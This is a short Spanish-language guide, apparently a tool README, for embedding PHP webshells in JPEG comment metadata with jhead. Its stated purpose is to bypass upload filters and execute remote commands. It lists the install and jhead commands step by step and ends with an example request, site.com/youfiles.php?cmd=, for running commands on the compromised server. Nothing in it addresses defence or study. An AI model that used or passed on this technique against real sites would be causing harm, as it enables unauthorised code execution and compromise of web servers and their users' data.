
Script PHP y guía para inyectar webshells PHP en imágenes JPEG usando Jhead. Se utiliza para eludir los filtros de carga de archivos y lograr la ejecución remota de comandos mediante archivos de imagen manipulados.
$ pkg install vim o apt-get install vim
$ pkg install jhead o apt-get install jhead
$ jhead -h (para ayuda)
$ jhead -purejpg tusarchivos.jpg
$ jhead -ce tusarchivos.jpg
Pulsa ESC y escribe :x para guardar
$ jhead tusarchivos.jpg
Ejemplo: site.com/youfiles.php?cmd=Command Here
